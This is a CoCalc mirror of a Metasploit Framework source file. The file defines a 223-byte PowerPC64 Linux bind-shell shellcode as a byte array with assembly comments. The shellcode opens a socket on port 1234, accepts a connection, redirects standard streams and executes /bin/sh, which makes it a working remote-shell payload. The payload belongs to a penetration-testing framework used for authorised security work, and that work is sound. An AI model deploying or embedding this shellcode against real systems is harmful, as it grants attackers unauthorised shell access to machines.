CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/unixasm/lin-power-bndsockcode64.c
Views: 11766
1
/*
2
* lin-power-bndsockcode64.c
3
* Copyright 2008 Ramon de Carvalho Valle <[email protected]>
4
*
5
* This library is free software; you can redistribute it and/or
6
* modify it under the terms of the GNU Lesser General Public
7
* License as published by the Free Software Foundation; either
8
* version 2.1 of the License, or (at your option) any later version.
9
*
10
* This library is distributed in the hope that it will be useful,
11
* but WITHOUT ANY WARRANTY; without even the implied warranty of
12
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
13
* Lesser General Public License for more details.
14
*
15
* You should have received a copy of the GNU Lesser General Public
16
* License along with this library; if not, write to the Free Software
17
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
18
*
19
*/
20
21
#define BNDSOCKPORT 58
22
23
char bndsockcode64[]= /* 223 bytes */
24
"\x7f\xff\xfa\x78" /* xor r31,r31,r31 */
25
"\x3b\xa0\x01\xff" /* li r29,511 */
26
"\x3b\x9d\xfe\x02" /* addi r28,r29,-510 */
27
"\x3b\x7d\xfe\x03" /* addi r27,r29,-509 */
28
"\xfb\xe1\xff\xf9" /* stdu r31,-8(r1) */
29
"\xfb\x81\xff\xf9" /* stdu r28,-8(r1) */
30
"\xfb\x61\xff\xf9" /* stdu r27,-8(r1) */
31
"\x7c\x24\x0b\x78" /* mr r4,r1 */
32
"\x38\x7d\xfe\x02" /* addi r3,r29,-510 */
33
"\x38\x1d\xfe\x67" /* addi r0,r29,-409 */
34
"\x44\xff\xff\x02" /* sc */
35
"\x7c\x7a\x1b\x78" /* mr r26,r3 */
36
"\x3b\x3d\xfe\x11" /* addi r25,r29,-495 */
37
"\x3e\xe0\xff\x02" /* lis r23,-254 */
38
"\x62\xf7\x04\xd2" /* ori r23,r23,1234 */
39
"\x97\xe1\xff\xfc" /* stwu r31,-4(r1) */
40
"\x96\xe1\xff\xfc" /* stwu r23,-4(r1) */
41
"\x7c\x36\x0b\x78" /* mr r22,r1 */
42
"\xfb\x21\xff\xf9" /* stdu r25,-8(r1) */
43
"\xfa\xc1\xff\xf9" /* stdu r22,-8(r1) */
44
"\xfb\x41\xff\xf9" /* stdu r26,-8(r1) */
45
"\x7c\x24\x0b\x78" /* mr r4,r1 */
46
"\x38\x7d\xfe\x03" /* addi r3,r29,-509 */
47
"\x38\x1d\xfe\x67" /* addi r0,r29,-409 */
48
"\x44\xff\xff\x02" /* sc */
49
"\xfb\xe1\xff\xf9" /* stdu r31,-8(r1) */
50
"\xfb\xe1\xff\xf9" /* stdu r31,-8(r1) */
51
"\xfb\x41\xff\xf9" /* stdu r26,-8(r1) */
52
"\x7c\x24\x0b\x78" /* mr r4,r1 */
53
"\x38\x7d\xfe\x05" /* addi r3,r29,-507 */
54
"\x38\x1d\xfe\x67" /* addi r0,r29,-409 */
55
"\x44\xff\xff\x02" /* sc */
56
"\x7c\x24\x0b\x78" /* mr r4,r1 */
57
"\x38\x7d\xfe\x06" /* addi r3,r29,-506 */
58
"\x38\x1d\xfe\x67" /* addi r0,r29,-409 */
59
"\x44\xff\xff\x02" /* sc */
60
"\x7c\x75\x1b\x78" /* mr r21,r3 */
61
"\x7f\x64\xdb\x78" /* mr r4,r27 */
62
"\x7e\xa3\xab\x78" /* mr r3,r21 */
63
"\x38\x1d\xfe\x40" /* addi r0,r29,-448 */
64
"\x44\xff\xff\x02" /* sc */
65
"\x37\x7b\xff\xff" /* addic. r27,r27,-1 */
66
"\x40\x80\xff\xec" /* bge+ <bndsockcode64+148> */
67
"\x7c\xa5\x2a\x79" /* xor. r5,r5,r5 */
68
"\x40\x82\xff\xfd" /* bnel+ <bndsockcode64+172> */
69
"\x7f\xc8\x02\xa6" /* mflr r30 */
70
"\x3b\xde\x01\xff" /* addi r30,r30,511 */
71
"\x38\x7e\xfe\x25" /* addi r3,r30,-475 */
72
"\x98\xbe\xfe\x2c" /* stb r5,-468(r30) */
73
"\xf8\xa1\xff\xf9" /* stdu r5,-8(r1) */
74
"\xf8\x61\xff\xf9" /* stdu r3,-8(r1) */
75
"\x7c\x24\x0b\x78" /* mr r4,r1 */
76
"\x38\x1d\xfe\x0c" /* addi r0,r29,-500 */
77
"\x44\xff\xff\x02" /* sc */
78
"/bin/sh"
79
;
80
81
82